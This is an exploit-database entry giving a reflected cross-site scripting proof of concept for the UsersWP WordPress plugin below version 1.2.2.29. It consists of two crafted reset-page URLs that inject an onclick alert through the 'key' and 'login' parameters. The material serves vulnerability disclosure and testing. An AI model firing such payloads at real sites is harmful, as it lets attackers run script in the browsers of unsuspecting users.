Sploitus

Exploit for UsersWP < 1.2.2.29 - Reflected Cross-Site Scripting

wpexploit · 2021-09-06

Exploit Code

MARKDOWN5 lines
## https://sploitus.com/exploit?id=WPEX-ID:D0434659-4E25-4B2B-872F-29A9055E5DAB
On the reset page made by the plugin:

https://example.com/reset/?key=a&login=%22accesskey=X%20onclick=alert(1)%20b=%22
https://example.com/reset/?key=%22accesskey=X%20onclick=alert(1)%20b=%22&login=a